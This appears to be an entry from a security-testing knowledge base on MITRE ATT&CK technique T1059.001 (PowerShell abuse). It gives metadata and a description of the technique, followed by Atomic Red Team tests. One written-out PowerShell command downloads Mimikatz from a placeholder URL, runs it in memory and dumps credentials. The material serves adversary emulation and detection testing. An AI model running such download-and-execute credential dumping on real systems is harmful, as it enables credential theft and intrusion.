t1059-001-powershell

name	T1059.001_powershell
description	Adversaries may abuse PowerShell commands and scripts for execution.
category	input-validation
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1059.001","execution","windows","sub-technique"]
technique_id	T1059.001
tactic	execution
all_tactics	["execution"]
platforms	["Windows"]
mitre_url	https://attack.mitre.org/techniques/T1059/001
tech_stack	["windows"]
cwe_ids	["CWE-94"]
chains_with	["T1059","T1059.002","T1059.003","T1059.004","T1059.005","T1059.006","T1059.007","T1059.008","T1059.009","T1059.010","T1059.011","T1059.012","T1059.013"]
prerequisites	["T1059"]
severity_boost	{"T1059":"Chain with T1059 for deeper attack path","T1059.002":"Chain with T1059.002 for deeper attack path","T1059.003":"Chain with T1059.003 for deeper attack path"}

T1059.001 PowerShell

Sub-technique of: T1059

High-Level Description

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).

Kill Chain Phase

• Execution (TA0002)

Platforms: Windows

What to Check

• Identify if PowerShell technique is applicable to target environment
• Check Windows systems for indicators of PowerShell
• Verify mitigations are bypassed or absent (5 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Mimikatz

Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.

Supported Platforms: windows Elevation Required: Yes

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"

Atomic Test 2: Run BloodHound from local disk

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur.